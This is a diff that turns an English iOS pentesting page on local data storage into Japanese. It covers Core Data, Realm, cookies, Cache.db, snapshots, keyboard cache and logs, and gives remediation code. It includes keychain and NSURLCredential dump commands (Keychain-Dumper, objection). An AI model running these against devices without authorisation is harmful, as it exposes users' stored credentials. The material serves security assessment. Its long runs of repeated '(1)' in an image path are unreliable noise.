Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1)は、アプリケーションのモデルレイヤーを管理するためのフレームワークです。[Core Dataは永続ストアとしてSQLiteを使用することができます](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/)が、フレームワーク自体はデータベースではありません。\ +CoreDataはデフォルトではデータを暗号化しません。ただし、追加の暗号化レイヤーをCoreDataに追加することができます。詳細については、[GitHubリポジトリ](https://github.com/project-imas/encrypted-core-data)を参照してください。 -You can find the SQLite Core Data information of an application in the path `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` +アプリケーションのSQLite Core Data情報は、パス`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`にあります。 -**If you can open the SQLite and access sensitive information, then you found a miss-configuration.** +**SQLiteを開いて機密情報にアクセスできる場合、設定ミスを見つけたことになります。** -{% code title="Code from iGoat" %} +{% code title="iGoatからのコード" %} ```objectivec -(void)storeDetails { - AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); +AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); - NSManagedObjectContext *context =[appDelegate managedObjectContext]; +NSManagedObjectContext *context =[appDelegate managedObjectContext]; - User *user = [self fetchUser]; - if (user) { - return; - } - user = [NSEntityDescription insertNewObjectForEntityForName:@"User" - inManagedObjectContext:context]; - user.email = CoreDataEmail; - user.password = CoreDataPassword; - NSError *error; - if (![context save:&error]) { - NSLog(@"Error in saving data: %@", [error localizedDescription]); +User *user = [self fetchUser]; +if (user) { +return; +} +user = [NSEntityDescription insertNewObjectForEntityForName:@"User" +inManagedObjectContext:context]; +user.email = CoreDataEmail; +user.password = CoreDataPassword; +NSError *error; +if (![context save:&error]) { +NSLog(@"Error in saving data: %@", [error localizedDescription]); - }else{ - NSLog(@"data stored in core data"); - } +}else{ +NSLog(@"data stored in core data"); +} } ``` {% endcode %} ### YapDatabase -[YapDatabase](https://github.com/yapstudios/YapDatabase) is a key/value store built on top of SQLite.\ -As the Yap databases are sqlite databases you can find them using the purposed commend in the previous section. +[YapDatabase](https://github.com/yapstudios/YapDatabase)はSQLiteの上に構築されたキー/値ストアです。\ +YapデータベースはSQLiteデータベースなので、前のセクションで提案されたコマンドを使用して見つけることができます。 -### Other SQLite Databases - -It's common for applications to create their own sqlite database. They may be **storing** **sensitive** **data** on them and leaving it unencrypted. Therefore, it's always interesting to check every database inside the applications directory. Therefore go to the application directory where the data is saved (`/private/var/mobile/Containers/Data/Application/{APPID}`) +### その他のSQLiteデータベース +アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには**機密データ**が保存されており、暗号化されていない場合があります。そのため、常にアプリケーションディレクトリ内のすべてのデータベースをチェックすることは興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` +### Firebaseリアルタイムデータベース -### Firebase Real-Time Databases +アプリケーション開発者は、**NoSQLクラウドホストデータベースとのデータの保存と同期にFirebaseリアルタイムデータベースを利用**することができます。データはJSONとして保存され、接続されたすべてのクライアントにリアルタイムで同期され、アプリケーションがオフラインになっても利用可能です。 -It can be leveraged by application developers to s**tore and sync data with a NoSQL cloud-hosted database**. The data is stored as JSON and is synchronized in real-time to every connected client and also remains available even when the application goes offline. - -You can find how to check for misconfigured Firebase databases here: +ミス構成されたFirebaseデータベースをチェックする方法はこちらで見つけることができます: {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) {% endcontent-ref %} -### Realm databases +### Realmデータベース -[Realm Objective-C](https://realm.io/docs/objc/latest/) and [Realm Swift](https://realm.io/docs/swift/latest/) aren't supplied by Apple, but they are still worth noting. They **store everything unencrypted, unless the configuration has encryption enabled**. - -You can find this databases in `/private/var/mobile/Containers/Data/Application/{APPID}` +[Realm Objective-C](https://realm.io/docs/objc/latest/)と[Realm Swift](https://realm.io/docs/swift/latest/)はAppleによって提供されていませんが、それらは注目に値します。**暗号化が有効になっていない限り、すべてのデータが暗号化されずに保存されます**。 +これらのデータベースは`/private/var/mobile/Containers/Data/Application/{APPID}`に見つけることができます。 ```bash iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls default.realm default.realm.lock default.realm.management/ default.realm.note| $ find ./ -name "*.realm*" ``` +このデータベースファイルを開くために、ツール[**Realm Studio**](https://github.com/realm/realm-studio)を使用することができます。 -You can use the tool [**Realm Studio**](https://github.com/realm/realm-studio) to open this database files. - -The following example demonstrates how to use encryption with a Realm database: - +以下の例は、Realmデータベースで暗号化を使用する方法を示しています: ```swift // Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server let config = Realm.Configuration(encryptionKey: getKey()) do { - let realm = try Realm(configuration: config) - // Use the Realm as normal +let realm = try Realm(configuration: config) +// Use the Realm as normal } catch let error as NSError { - // If the encryption key is wrong, `error` will say that it's an invalid database - fatalError("Error opening realm: \(error)") +// If the encryption key is wrong, `error` will say that it's an invalid database +fatalError("Error opening realm: \(error)") } ``` +### Couchbase Lite データベース -### Couchbase Lite Databases +[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)は、軽量で埋め込み型のドキュメント指向(NoSQL)データベースエンジンであり、同期が可能です。iOSおよびmacOS向けにネイティブにコンパイルされます。 -[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) is a lightweight, embedded, document-oriented (NoSQL) database engine that can be synced. It compiles natively for iOS and macOS. +`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/`にある可能性のあるCouchbaseデータベースをチェックしてください。 -Check for possible couchbase databases in `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/` +### クッキー -### Cookies - -iOS store the cookies of the apps in the **`Library/Cookies/cookies.binarycookies`** inside each apps folder. However, developers sometimes decide to save them in the **keychain** as the mentioned **cookie file can be accessed in backups**. - -To inspect the cookies file you can use [**this python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) or use\*\* objection's **`ios cookies get`.**\ -**You can also use objection to** convert these files to a JSON\*\* format and inspect the data. +iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**に保存します。ただし、開発者は時々、バックアップでアクセスできるという理由で、これらを**キーチェーン**に保存することを選択することもあります。 +クッキーファイルを調査するには、[**このPythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用します。\ +また、objectionを使用してこれらのファイルをJSON形式に変換し、データを調査することもできます。 ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json [ - { - "domain": "highaltitudehacks.com", - "expiresDate": "2051-09-15 07:46:43 +0000", - "isHTTPOnly": "false", - "isSecure": "false", - "name": "username", - "path": "/", - "value": "admin123", - "version": "0" - } +{ +"domain": "highaltitudehacks.com", +"expiresDate": "2051-09-15 07:46:43 +0000", +"isHTTPOnly": "false", +"isSecure": "false", +"name": "username", +"path": "/", +"value": "admin123", +"version": "0" +} ] ``` +### キャッシュ -### Cache +デフォルトでは、NSURLSessionは**HTTPリクエストとレスポンスをCache.dbデータベースに保存**します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれている可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/`)を開き、`/Library/Caches/`に移動します。**WebKitキャッシュもCache.dbファイルに保存**されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開いて操作することができます。これは**通常のSQLiteデータベース**です。 -By default NSURLSession stores data, such as **HTTP requests and responses in the Cache.db** database. This database can contain **sensitive data**, if tokens, usernames or any other sensitive information has been cached. To find the cached information open the data directory of the app (`/var/mobile/Containers/Data/Application/`) and go to `/Library/Caches/`. The **WebKit cache is also being stored in the Cache.db** file. **Objection** can open and interact with the database with the command `sqlite connect Cache.db`, as it is a n**ormal SQLite database**. +リクエストまたはレスポンスに機密情報が含まれている可能性があるため、このデータのキャッシュを無効にすることが**推奨されています**。以下のリストは、これを実現するためのさまざまな方法を示しています: -It is **recommended to disable Caching this data**, as it may contain sensitive information in the request or response. The following list below shows different ways of achieving this: +1. ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)というメソッドを使用して行うことができます。次のようにこのメソッドを呼び出すことができます: -1. It is recommended to remove Cached responses after logout. This can be done with the provided method by Apple called [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) You can call this method as follows: +`URLCache.shared.removeAllCachedResponses()` - `URLCache.shared.removeAllCachedResponses()` +このメソッドは、Cache.dbファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。 +2. クッキーの利点を使用する必要がない場合は、URLSessionの[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)構成プロパティを使用することをお勧めします。これにより、クッキーとキャッシュの保存が無効になります。 - This method will remove all cached requests and responses from Cache.db file. -2. If you don't need to use the advantage of cookies it would be recommended to just use the [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) configuration property of URLSession, which will disable saving cookies and Caches. +[Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): - [Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): +`ephemeralセッション構成オブジェクトは、デフォルトのセッション構成オブジェクト(defaultを参照)と似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはディスク上のセッション関連データを保存しません。代わりに、セッション関連のデータはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示した場合です。` +3. キャッシュは、キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することで無効にすることもできます。これにより、キャッシュがメモリまたはディスクに保存されなくなります。 - `An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.` -3. Cache can be also disabled by setting the Cache Policy to [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). It will disable storing Cache in any fashion, either in memory or on disk. +### スナップショット -### Snapshots +ホームボタンを押すたびに、iOSは現在の画面のスナップショットを撮影し、アプリケーションへの遷移をよりスムーズに行うために使用します。ただし、現在の画面に**機密データ**が含まれている場合、それは**画像に保存**されます(これは**再起動を超えて永続化**されます)。これらのスナップショットは、ホーム画面をダブルタップしてアプリ間を切り替えることでアクセスすることもできます。 -Whenever you press the home button, iOS **takes a snapshot of the current screen** to be able to do the transition to the application on a much smoother way. However, if **sensitive** **data** is present in the current screen, it will be **saved** in the **image** (which **persists** **across** **reboots**). These are the snapshots that you can also access double tapping the home screen to switch between apps. +iPhoneがジェイルブレイクされていない限り、**攻撃者**はこれらのスクリーンショットを見るためには、**デバイスにアクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダに保存されます(信頼されたコンピュータはiOS 7.0以降ではファイルシステムにアクセスできません)。 -Unless the iPhone is jailbroken, the **attacker** needs to have **access** to the **device** **unblocked** to see these screenshots. By default the last snapshot is stored in the application's sandbox in `Library/Caches/Snapshots/` or `Library/SplashBoard/Snapshots` folder (the trusted computers can' t access the filesystem from iOX 7.0). +この問題を防ぐための方法の一つは、スナップショットを撮る前に空白の画面を表示するか、機密データを削除することです。これは`ApplicationDidEnterBackground()`関数を使用して行うことができます。 -Once way to prevent this bad behaviour is to put a blank screen or remove the sensitive data before taking the snapshot using the `ApplicationDidEnterBackground()` function. - -The following is a sample remediation method that will set a default screenshot. +以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。 Swift: - ```swift private var backgroundImage: UIImageView? func applicationDidEnterBackground(_ application: UIApplication) { - let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage")) - myBanner.frame = UIScreen.main.bounds - backgroundImage = myBanner - window?.addSubview(myBanner) +let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage")) +myBanner.frame = UIScreen.main.bounds +backgroundImage = myBanner +window?.addSubview(myBanner) } func applicationWillEnterForeground(_ application: UIApplication) { - backgroundImage?.removeFromSuperview() +backgroundImage?.removeFromSuperview() } ``` - -Objective-C: - +Objective-C(オブジェクティブ-C): ``` @property (UIImageView *)backgroundImage; - (void)applicationDidEnterBackground:(UIApplication *)application { - UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"]; - self.backgroundImage = myBanner; - self.backgroundImage.bounds = UIScreen.mainScreen.bounds; - [self.window addSubview:myBanner]; +UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"]; +self.backgroundImage = myBanner; +self.backgroundImage.bounds = UIScreen.mainScreen.bounds; +[self.window addSubview:myBanner]; } - (void)applicationWillEnterForeground:(UIApplication *)application { - [self.backgroundImage removeFromSuperview]; +[self.backgroundImage removeFromSuperview]; } ``` +この設定は、アプリケーションがバックグラウンドになるときに背景画像を「overlayImage.png」に設定します。現在のビューを常に上書きするため、「overlayImage.png」による機密データの漏洩を防ぎます。 -This sets the background image to `overlayImage.png` whenever the application is backgrounded. It prevents sensitive data leaks because `overlayImage.png` will always override the current view. +### キーチェーン -### Keychain - -Tools like [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) can be used to dump the keychain (the dive must be jailbroken).\ -You can also use `ios keychain dump` from [**Objection**](https://github.com/sensepost/objection)**.** +[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)のようなツールを使用してキーチェーンをダンプすることができます(デバイスはジェイルブレイクされている必要があります)。\ +また、[**Objection**](https://github.com/sensepost/objection)の`ios keychain dump`も使用できます。 **NSURLCredential** -**NSURLCredential** is the perfect class to **store username and password in the keychain**. No need to bother with NSUserDefaults nor any keychain wrapper.\ -Once the user is logged in, you can\*\* store\*\* his username and password to the keychain: - +**NSURLCredential**は、ユーザー名とパスワードをキーチェーンに保存するための完璧なクラスです。NSUserDefaultsやキーチェーンラッパーを使用する必要はありません。\ +ユーザーがログインしたら、彼のユーザー名とパスワードをキーチェーンに保存できます。 ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; [[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace]; ``` +これらの秘密情報をダンプするために、**Objection**の`ios nsurlcredentialstorage dump`を使用することができます。 -You can use **Objection's** `ios nsurlcredentialstorage dump` to dump these secrets. +## カスタムキーボード/キーボードキャッシュ -## Custom Keyboards/Keyboard Cache +iOS 8.0以降、AppleはカスタムキーボードなどのiOS用のカスタム拡張機能のインストールを許可しています。\ +インストールされたキーボードは、**設定** > **一般** > **キーボード** > **キーボード**から管理できます。\ +カスタムキーボードは、**キーストローク**をスニフィングしてそれらを攻撃者のサーバーに送信することができます。ただし、**ネットワーキング接続が必要なカスタムキーボードはユーザーに通知されます。**\ +また、**ユーザーは別の**(より信頼性の高い)**キーボード**に切り替えて資格情報を入力することができます。 -From iOS 8.0 Apple allows to install custom extensions for iOS like custom keyboards.\ -The installed keyboards can be managed via **Settings** > **General** > **Keyboard** > **Keyboards**\ -Custom keyboards can be used to **sniff** the **keystrokes** and send them to the attacker server. However, note that **custom keyboards requiring networking connectivity will be notified to the user.**\ -Also, the **user can switch to a different** (more trusted) **keyboard** for introducing the credentials. - -Moreover, **applications can prevent its users from using custom keyboards** within the app (or at least for sensitive parts of the app). +さらに、**アプリケーションは、アプリ内でカスタムキーボードの使用を制限**することができます(または少なくともアプリの重要な部分では制限できます)。 {% hint style="warning" %} -It's recommended to not allow third party keyboards if you consider the users won't need them +ユーザーがそれらを必要としないと考える場合、サードパーティのキーボードを許可しないことをお勧めします。 {% endhint %} -Note that because of auto-correct and auto-suggestions, the default iOS keyboard will capture and store each non-standard word word in a cache file if the attribute **securetTextEntry** is not set to **true** or if **autoCorrectionType** is not set to **UITextAutoCorrectionTypeNo.** +オートコレクトとオートサジェストのため、デフォルトのiOSキーボードは、属性**securetTextEntry**が**true**に設定されていない場合、または**autoCorrectionType**が**UITextAutoCorrectionTypeNo**に設定されていない場合、キャッシュファイルに各非標準単語をキャプチャして保存します。 -By default the keyboards **store this cache** inside the applications sandbox in `Library/Keyboard/{locale}-dynamic-text.dat` file or in `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. However, it might be saving the dateaelsewhere.\ -It's possible to reset the cache in _**Settings**_ > _**General**_ > _**Reset**_ > _**Reset Keyboard Dictionary**_ +デフォルトでは、キーボードは`Library/Keyboard/{locale}-dynamic-text.dat`ファイルまたは`/private/var/mobile/Library/Keyboard/dynamic-text.dat`にこのキャッシュを保存しますが、他の場所に保存されている可能性もあります。\ +キャッシュをリセットするには、_**設定**_ > _**一般**_ > _**リセット**_ > _**キーボード辞書をリセット**_ に移動します。 {% hint style="info" %} -Therefore, **check always these files** and search for possible **sensitive** **information**.\ -**Intercepting the network traffic** is another way to check if the custom keyboard is sending keystroked to a remote server. +したがって、これらのファイルを常にチェックし、可能な**機密情報**を検索してください。\ +ネットワークトラフィックを傍受することは、カスタムキーボードがキーストロークをリモートサーバーに送信しているかどうかを確認する別の方法です。 {% endhint %} -The [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) is used for keyboard caching. The UITextField, UITextView, and UISearchBar classes automatically support this protocol and it offers the following properties: +キーボードキャッシュには、[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits)が使用されます。UITextField、UITextView、およびUISearchBarクラスは、このプロトコルを自動的にサポートし、次のプロパティを提供します。 -* `var autocorrectionType: UITextAutocorrectionType` determines whether autocorrection is enabled during typing. When autocorrection is enabled, the text object tracks unknown words and suggests suitable replacements, replacing the typed text automatically unless the user overrides the replacement. The default value of this property is `UITextAutocorrectionTypeDefault`, which for most input methods enables autocorrection. -* `var secureTextEntry: BOOL` determines whether text copying and text caching are disabled and hides the text being entered for `UITextField`. The default value of this property is `NO`. +* `var autocorrectionType: UITextAutocorrectionType`は、入力中にオートコレクションが有効かどうかを決定します。オートコレクションが有効な場合、テキストオブジェクトは未知の単語を追跡し、適切な置換を提案します。ユーザーが置換をオーバーライドしない限り、入力されたテキストを自動的に置換します。このプロパティのデフォルト値は`UITextAutocorrectionTypeDefault`であり、ほとんどの入力方法ではオートコレクションが有効になります。 +* `var secureTextEntry: BOOL`は、`UITextField`のテキストのコピーとテキストのキャッシュが無効になり、入力されているテキストが非表示になるかどうかを決定します。このプロパティのデフォルト値は`NO`です。 -**To identify this behaviour in the code:** - -* Search through the source code for similar implementations, such as +**コードでこの動作を特定するには:** +* 類似の実装を持つソースコードを検索し、以下のようなものを探します。 ```objectivec - textObject.autocorrectionType = UITextAutocorrectionTypeNo; - textObject.secureTextEntry = YES; +textObject.autocorrectionType = UITextAutocorrectionTypeNo; +textObject.secureTextEntry = YES; ``` +* Xcodeの`Interface Builder`でxibとstoryboardファイルを開き、適切なオブジェクトの`Attributes Inspector`で`Secure Text Entry`と`Correction`の状態を確認します。 -* Open xib and storyboard files in the `Interface Builder` of Xcode and verify the states of `Secure Text Entry` and `Correction` in the `Attributes Inspector` for the appropriate object. - -The application must prevent the caching of sensitive information entered into text fields. You can prevent caching by disabling it programmatically, using the `textObject.autocorrectionType = UITextAutocorrectionTypeNo` directive in the desired UITextFields, UITextViews, and UISearchBars. For data that should be masked, such as PINs and passwords, set `textObject.secureTextEntry` to `YES`. - +アプリケーションは、テキストフィールドに入力された機密情報のキャッシュを防止する必要があります。キャッシュを無効にするには、`textObject.autocorrectionType = UITextAutocorrectionTypeNo`の指示を使用して、必要なUITextFields、UITextViews、およびUISearchBarsでプログラム的に無効にします。PINやパスワードなどのマスクする必要があるデータには、`textObject.secureTextEntry`を`YES`に設定します。 ```objectivec UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ]; textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` +## **ログ** -## **Logs** +コードをデバッグする最も一般的な方法は、ログを使用することであり、アプリケーションはログ内に**機密情報を表示する可能性があります**。\ +iOSバージョン6以前では、ログはワールドリーダブルでした(悪意のあるアプリは他のアプリのログを読み取り、そこから機密情報を抽出することができました)。**現在では、アプリは自分自身のログにのみアクセスできます**。 -The most common ways to debug code is using logging, and the application **may print sensitive information inside the logs**.\ -In iOS version 6 and below, logs were world readable (a malicious app could read logs from other apps and extract sensitive information from there). **Nowadays, apps can only access their own logs**. +ただし、**アンロックされた**デバイスに**物理的なアクセス**権限を持つ**攻撃者**は、それをコンピュータに接続し、ログを**読み取る**ことができます(アプリによってディスクに書き込まれたログは、アプリがアンインストールされても削除されません)。 -However, an **attacker** with **physical** **access** to an **unlocked** device can connect it to a computer and **read the logs** (note that the logs written to disk by an app aren't removed if the app ins uninstalled). +アプリの**すべての画面をナビゲート**し、**すべてのUI要素と機能**とやり取りし、すべてのテキストフィールドに入力テキストを提供し、**機密情報**が公開されていないかどうかを確認するためにログを**確認**することが推奨されます。 -It's recommended to **navigate through all the screens** of the app and **interact** with **every** UI element and **functionality** of and provide input text in all text fields and **review the logs** looking for **sensitive** **information** exposed. +以下のキーワードを使用して、アプリのソースコードを事前定義およびカスタムのログステートメントをチェックします: -Use the following keywords to check the app's source code for predefined and custom logging statements: +* 事前定義および組み込み関数: +* NSLog +* NSAssert +* NSCAssert +* fprintf +* カスタム関数: +* Logging +* Logfile -* For predefined and built-in functions: - * NSLog - * NSAssert - * NSCAssert - * fprintf -* For custom functions: - * Logging - * Logfile +**システムログのモニタリング** -**Monitoring System Logs** - -Many apps log informative (and potentially sensitive) messages to the console log. The log also contains crash reports and other useful information. - -You can use these tools: +多くのアプリは、情報(および潜在的に機密性の高い)メッセージをコンソールログに記録します。ログにはクラッシュレポートやその他の有用な情報も含まれています。 +次のツールを使用できます: ```bash idevice_id --list # To find the device ID idevicesyslog -u (| grep ) # To get the device logs ``` +Xcodeの**デバイス**ウィンドウを通じてコンソールログを収集する方法は次のとおりです: -You can collect console logs through the Xcode **Devices** window as follows: - -1. Launch Xcode. -2. Connect your device to your host computer. -3. Choose **Window** -> **Devices and Simulators**. -4. Click on your connected iOS device in the left section of the Devices window. -5. Reproduce the problem. -6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window. - -![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (15).png>) - -You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command: +1. Xcodeを起動します。 +2. ホストコンピュータにデバイスを接続します。 +3. **ウィンドウ** -> **デバイスとシミュレータ**を選択します。 +4. デバイスウィンドウの左側のセクションで接続されたiOSデバイスをクリックします。 +5. 問題を再現します。 +6. デバイスウィンドウの右上にある**コンソールを開く**ボタンをクリックして、別のウィンドウでコンソールログを表示します。 +![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 